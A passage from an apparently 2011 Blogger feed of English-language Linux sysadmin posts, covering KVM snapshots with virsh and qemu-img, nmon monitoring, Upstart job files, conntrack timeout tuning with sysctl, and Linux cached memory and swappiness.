/&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# man 5 init&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-8893926415936713467?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/8893926415936713467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/03/booting-system-with-upstart-ii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8893926415936713467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8893926415936713467'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/03/booting-system-with-upstart-ii.html' title='Booting the system with Upstart (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-224359030292244974</id><published>2011-03-20T14:23:00.006+01:00</published><updated>2011-11-16T13:43:59.570+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualization'/><title type='text'>Taking snapshots on KVM with libvirt</title><content type='html'>There is an interesting feature related to the &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/11/kvm-virtualization-on-ubuntu-i.html"&gt;KVM virtualization&lt;/a&gt;, the snapshots, which take the disk, memory and device state of a concrete domain at a specific moment. This can have many use cases, such as saving a copy of a virtual machine, preserving a domain's state before a potentially dangerous operation, etc. Snapshots are identified with an unique name and can be taken with the virtual machine turned on.&lt;br /&gt;&lt;br /&gt;This feature can only be used with the virsh command and not with the graphical tool (the version of Virtual Machine Manager included on Kubuntu 10.10 is the 0.8.4).&lt;br /&gt;&lt;br /&gt;So as to create a snapshot for a particular domain, we must set a &lt;a href="http://libvirt.org/formatsnapshot.html"&gt;XML file&lt;/a&gt; with at least a name and description for the snapshot.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ cat UbuntuServer_10.10-ss.xml&lt;br /&gt;&amp;lt;domainsnapshot&amp;gt;&lt;br /&gt;   &amp;lt;name&amp;gt;UbuntuServer_10.10-16032011&amp;lt;/name&amp;gt;&lt;br /&gt;   &amp;lt;description&amp;gt;Snapshot of OS install and updates&amp;lt;/description&amp;gt;&lt;br /&gt;&amp;lt;/domainsnapshot&amp;gt;&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ virsh snapshot-create UbuntuServer_10.10 UbuntuServer_10.10-ss.xml&lt;br /&gt;error: Requested operation is not valid: Disk '/var/lib/libvirt/images/UbuntuServer_10.10.img' does not support snapshotting&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;It is possible that as in the previous output, we get an error message about the virtual disk does not support snapshotting. What is the problem in this case?&lt;br /&gt;&lt;br /&gt;The sort of the disk image is raw (default format when you create a virtual machine), which is very simple and does not allow snapshotting. In contradistinction to raw, qcow2 (QEMU image format) supports to have smaller images, encryption, compression, snapshots and so on.&lt;br /&gt;&lt;br /&gt;In order to make a qcow2 virtual disk, we can run the following command. In this case, we have reserved all the space for the virtual disk. If we do not want to preallocate the image with metadata, we must take away the "preallocation" option.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ sudo qemu-img create -f qcow2 -o preallocation=metadata /var/lib/libvirt/images/UbuntuServer_10.10.qcow2 8G&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ sudo chown libvirt-qemu:kvm /var/lib/libvirt/images/UbuntuServer_10.10.qcow2&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If we want to convert an existing image (for example raw to qcow2), we can use the next order.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:/var/lib/libvirt/images$ sudo qemu-img convert -f raw -O qcow2 -o preallocation=metadata UbuntuServer_10.10.raw UbuntuServer_10.10.qcow2&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:/var/lib/libvirt/images$ sudo chown libvirt-qemu:kvm UbuntuServer_10.10.qcow2&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In this moment, we will be able to set a snapshot up with the &lt;i&gt;virsh snapshot-create&lt;/i&gt; command. This operation will generate a new XML file.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ ls -l /var/lib/libvirt/qemu/snapshot/UbuntuServer_10.10/UbuntuServer_10.10-16032011.xml&lt;br /&gt;-rw------- 1 root root 307 2011-03-16 11:40 /var/lib/libvirt/qemu/snapshot/UbuntuServer_10.10/UbuntuServer_10.10-16032011.xml&lt;br /&gt;&lt;br /&gt;javi@javi-kubuntu:~$ virsh snapshot-dumpxml UbuntuServer_10.10 UbuntuServer_10.10-16032011&lt;br /&gt;&amp;lt;domainsnapshot&amp;gt;&lt;br /&gt;   &amp;lt;name&amp;gt;UbuntuServer_10.10-16032011&amp;lt;/name&amp;gt;&lt;br /&gt;   &amp;lt;description&amp;gt;Snapshot of OS install and updates&amp;lt;/description&amp;gt;&lt;br /&gt;   &amp;lt;state&amp;gt;shutoff&amp;lt;/state&amp;gt;&lt;br /&gt;   &amp;lt;creationTime&amp;gt;1300272022&amp;lt;/creationTime&amp;gt;&lt;br /&gt;   &amp;lt;domain&amp;gt;&lt;br /&gt;      &amp;lt;uuid&amp;gt;d19af827-30ca-b3a0-8304-231f8cf5dd8b&amp;lt;/uuid&amp;gt;&lt;br /&gt;   &amp;lt;/domain&amp;gt;&lt;br /&gt;&amp;lt;/domainsnapshot&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;So as to list all the available snapshots for a certain domain, we can type the following order.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh snapshot-list UbuntuServer_10.10&lt;br /&gt;Name                        Creation time             Status&lt;br /&gt;---------------------------------------------------------------&lt;br /&gt;UbuntuServer_10.10-16032011 2011-03-16 11:40:22 +0100 shutoff&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If at any point we want to bring back a snapshot, we must run the next command.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh snapshot-revert UbuntuServer_10.10 UbuntuServer_10.10-16032011&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, we also have the option to remove a snapshot.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-kubuntu:~$ virsh snapshot-delete UbuntuServer_10.10 UbuntuServer_10.10-16032011&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-224359030292244974?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/224359030292244974/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/03/taking-snapshots-on-kvm-with-libvirt.html#comment-form' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/224359030292244974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/224359030292244974'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/03/taking-snapshots-on-kvm-with-libvirt.html' title='Taking snapshots on KVM with libvirt'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-8890710552434778562</id><published>2011-03-12T12:42:00.003+01:00</published><updated>2011-11-01T21:51:48.148+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>System monitoring with nmon</title><content type='html'>&lt;a href="http://nmon.sourceforge.net/pmwiki.php"&gt;Nmon&lt;/a&gt; is another interesting monitoring tool for Linux systems which can present many information related to the CPU, memory, network, etc. through an organized screen.&lt;br /&gt;&lt;br /&gt;I have tested the 13g version on Ubuntu Server 10.10. When you start the application, this shows you a little menu with different options, in order to configure your own monitoring panel.&lt;br /&gt;&lt;br /&gt;The next figure is a dump of my setting. I have used CPU utilization by processor, memory and swap stats, kernel stats and &lt;a href="http://redes-privadas-virtuales.blogspot.com/2010/12/linux-load-average.html"&gt;load average&lt;/a&gt;, network and disk input/output and top processes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-8que3ina0dk/TXtf442AeeI/AAAAAAAAAkE/qaQcS0De6b8/s1600/System%2Bmonitoring%2Bwith%2Bnmon.jpeg"&gt;&lt;img alt="" border="0" height="340" id="BLOGGER_PHOTO_ID_5583161593992083938" src="http://1.bp.blogspot.com/-8que3ina0dk/TXtf442AeeI/AAAAAAAAAkE/qaQcS0De6b8/s400/System%2Bmonitoring%2Bwith%2Bnmon.jpeg" style="display: block; height: 340px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And finally, also say that with nmon you can take the data and dump them into a CSV file. For instance, in the following case I have run nmon in background to capture the data each 5 sg and a total of 200 times. Besides I have specified the file name with the '-F' option.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# nmon -t -F `hostname`.csv -s 5 -c 200&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-8890710552434778562?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/8890710552434778562/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/03/system-monitoring-with-nmon.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8890710552434778562'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8890710552434778562'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/03/system-monitoring-with-nmon.html' title='System monitoring with nmon'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-8que3ina0dk/TXtf442AeeI/AAAAAAAAAkE/qaQcS0De6b8/s72-c/System%2Bmonitoring%2Bwith%2Bnmon.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-7675475425720402349</id><published>2011-03-05T12:44:00.010+01:00</published><updated>2011-11-01T21:53:05.137+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><title type='text'>Booting the system with Upstart (I)</title><content type='html'>&lt;a href="http://upstart.ubuntu.com/"&gt;Upstart&lt;/a&gt; is a management daemon which leads the starting and stopping of the system services, and besides, handles them whereas they are running. It is an application actually used on system such as Ubuntu, Fedora, RHEL, etc. and it has replaced the traditional System V init daemon (SysV).&lt;br /&gt;&lt;br /&gt;It turns out that SysV has not been really taken away, since while there are tasks based on SysV, both systems will have  to live together. Indeed, there is a job defined by Upstart and named &lt;i&gt;rc-sysinit.conf&lt;/i&gt;, which controls the execution of the existing traditional SysV scripts. An Upstart system runs by default in runlevel 2.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# runlevel&lt;br /&gt;N 2&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;What is the main advantage of Upstart against SysV under my personal opinion? In contradistinction to SysV, Upstart allows to launch the services or tasks (here named jobs) in parallel, that is to say, they have just to wait for certain events happen. For example, when the Upstart init daemon has finished its initialization (&lt;i&gt;upstart&lt;/i&gt;), when the filesystem is mounted (&lt;i&gt;filesystem&lt;/i&gt;), MySQL daemon is started (&lt;i&gt;started mysqld&lt;/i&gt;), and so on.&lt;br /&gt;&lt;br /&gt;Let's see how Upstart works. All Upstart jobs are files made up of a well known structure and stored into the &lt;span style="font-style: italic;"&gt;/etc/init&lt;/span&gt; directory. For example, we are going to develop an easy job to write the date within a tmp file. Its name will be job1.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/init/job1.conf&lt;br /&gt;script&lt;br /&gt;   date &amp;gt; /tmp/job1.tmp ; sleep 10&lt;br /&gt;end script&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;One of the ways to start this job is manually.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# start job1&lt;br /&gt;job1 start/running, process 1705&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If we take a look at its state before 10 sg, we will see which is &lt;i&gt;start/running&lt;/i&gt;. Afterwards, it will be &lt;i&gt;stop/waiting&lt;/i&gt;, since in this case, it is not a daemon such as httpd, but a process which finishes when completes theirs defined tasks.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# status job1&lt;br /&gt;job1 start/running, process 1710&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# status job1&lt;br /&gt;job1 stop/waiting&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Upstart allows to define a job or by a script section (as the previous example - remember that the scripting code will be launch under "sh -e") either using the &lt;span style="font-style: italic;"&gt;exec&lt;/span&gt; directive.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/init/job1.conf&lt;br /&gt;script&lt;br /&gt;   exec date &amp;gt; /tmp/job1.tmp&lt;br /&gt;end script&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This sort of stanza can be used for instance to run a script or start a daemon like mysqld (zero or more arguments can be passed to it). Other manner to start a job is through an event. For example, we can run our job when job2 or job3 are started.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/init/job1.conf&lt;br /&gt;start on started job2 or started job3&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;By default, a job is a service that during its life cycle will be able to pass for different stages: starting, started, stopping and stopped, and in addition, will be able to be respawned if it exits with a zero status.&lt;br /&gt;&lt;br /&gt;If we want to specify that the job is a task (it is considered to have finished when it has been run and stopped again - it will terminate with zero status but it will not be able to be respawned), we will have to add the &lt;i&gt;task&lt;/i&gt; parameter into the configuration file. Otherwise, Upstart will treat the job as a service.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-7675475425720402349?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/7675475425720402349/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/03/booting-system-with-upstart-i.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/7675475425720402349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/7675475425720402349'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/03/booting-system-with-upstart-i.html' title='Booting the system with Upstart (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-621137972680441608</id><published>2011-02-27T13:26:00.005+01:00</published><updated>2011-11-01T21:53:32.648+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Networking'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Following up network connections with conntrack (II)</title><content type='html'>Let's finish the previous article about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/02/following-up-network-connections-with.html"&gt;Following up network connections with conntrack (I)&lt;/a&gt;. Other important parameters which can be changed to optimize the system are related to the time of the different types of connections.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_established&lt;br /&gt;432000&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# cat /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_time_wait&lt;br /&gt;120&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# cat /proc/sys/net/ipv4/netfilter/ip_conntrack_tcp_timeout_close_wait&lt;br /&gt;60&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The first parameter sets up the maximum lifetime for an already established connection (432000 sg can be long; 28800 could be enough). The second and third are the maximum lifetime for a waiting connection and for the remote endpoint closes the socket.&lt;br /&gt;&lt;br /&gt;So as to list all variables based on the conntrack module, type the next order.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# sysctl -a | grep conntrack | grep ipv4&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_generic_timeout = 600&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_timeout_syn_sent = 120&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_timeout_syn_sent2 = 120&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_timeout_syn_recv = 60&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_timeout_established = 432000&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_timeout_fin_wait = 120&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_timeout_close_wait = 60&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_timeout_last_ack = 30&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_timeout_time_wait = 120&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_timeout_close = 10&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_timeout_max_retrans = 300&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_loose = 1&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_be_liberal = 0&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_tcp_max_retrans = 3&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_udp_timeout = 30&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_udp_timeout_stream = 180&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_icmp_timeout = 30&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_max = 15768&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_count = 2&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_buckets = 4096&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_checksum = 1&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_log_invalid = 0&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And if you want to change the value of any variable, you must add it within the sysctl.conf file and reload the settings.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/sysctl.conf&lt;br /&gt;...&lt;br /&gt;net.ipv4.netfilter.ip_conntrack_max = 131072&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# sysctl -p&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;One interesting option for the conntrack command is the possibility to get the statistics about the connection tracking.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# conntrack -S&lt;br /&gt;entries                 2  &lt;br /&gt;searched                0  &lt;br /&gt;found                   1107&lt;br /&gt;new                     4  &lt;br /&gt;invalid                 0  &lt;br /&gt;ignore                  0  &lt;br /&gt;delete                  2  &lt;br /&gt;delete_list             2  &lt;br /&gt;insert                  4  &lt;br /&gt;insert_failed           0  &lt;br /&gt;drop                    0  &lt;br /&gt;early_drop              0  &lt;br /&gt;icmp_error              0  &lt;br /&gt;expect_new              0  &lt;br /&gt;expect_create           0  &lt;br /&gt;expect_delete           0  &lt;br /&gt;search_restart          0&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Another useful feature for conntrack is to output the connection state on real-time, similar to when you run a "tail -f" on a file.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# conntrack -E&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;We can conclude with this couple of articles that the conntrack module is other helpful way to &lt;a href="http://redes-privadas-virtuales.blogspot.com/2009/07/optimizacion-del-kernel-de-linux-con.html"&gt;improve the Linux performance&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-621137972680441608?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/621137972680441608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/02/following-up-network-connections-with_27.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/621137972680441608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/621137972680441608'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/02/following-up-network-connections-with_27.html' title='Following up network connections with conntrack (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-3369646128875394046</id><published>2011-02-19T12:48:00.009+01:00</published><updated>2011-11-01T21:54:00.480+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>Cached memory in Linux</title><content type='html'>I am sure that there are many people that if they saw the following output of 'top', they would say that I have a problem with my free memory... they would be wrong.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@zabbix ~]# top&lt;br /&gt;...&lt;br /&gt;Mem:   4044540k total,  4007540k used,    &lt;b&gt;37000k free&lt;/b&gt;,   156336k buffers&lt;br /&gt;Swap:  2097144k total,        0k used,  2097144k free,  &lt;b&gt;2086808k cached&lt;/b&gt;&lt;br /&gt;...&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The previous data correspond to a Zabbix installation where the free memory is around 37 MB, but the cached memory is more than 2 GB. What is happening here?&lt;br /&gt;&lt;br /&gt;The answer is straightforward: Linux always tries to use all available memory, and thereby, it caches all read data. If at any moment an application needs memory, Linux will free it from the cached memory. This way of acting is pretty good because you will have better performance having the more frecuent data into the memory.&lt;br /&gt;&lt;br /&gt;Really you will have a serious problem when your free memory is low, further your cached memory too and on top of all that, your system begins to swap.&lt;br /&gt;&lt;br /&gt;Also say that other excellent data from the above 'top' is the swap memory value: 0. A well configured Linux system never should utilize swap. The key parameter for this purpose is &lt;a href="http://redes-privadas-virtuales.blogspot.com/2009/07/optimizacion-del-kernel-de-linux-con.html"&gt;swappiness&lt;/a&gt;. I usually set it with a value of 20.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@zabbix ~]# cat /proc/sys/vm/swappiness&lt;br /&gt;20&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;There is a quick manner to force to the operating system so as to free the cached memory: changing the value of the &lt;a href="http://redes-privadas-virtuales.blogspot.com/2009/07/liberar-la-memoria-ram-cacheada-en.html"&gt;drop_caches&lt;/a&gt; variable.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 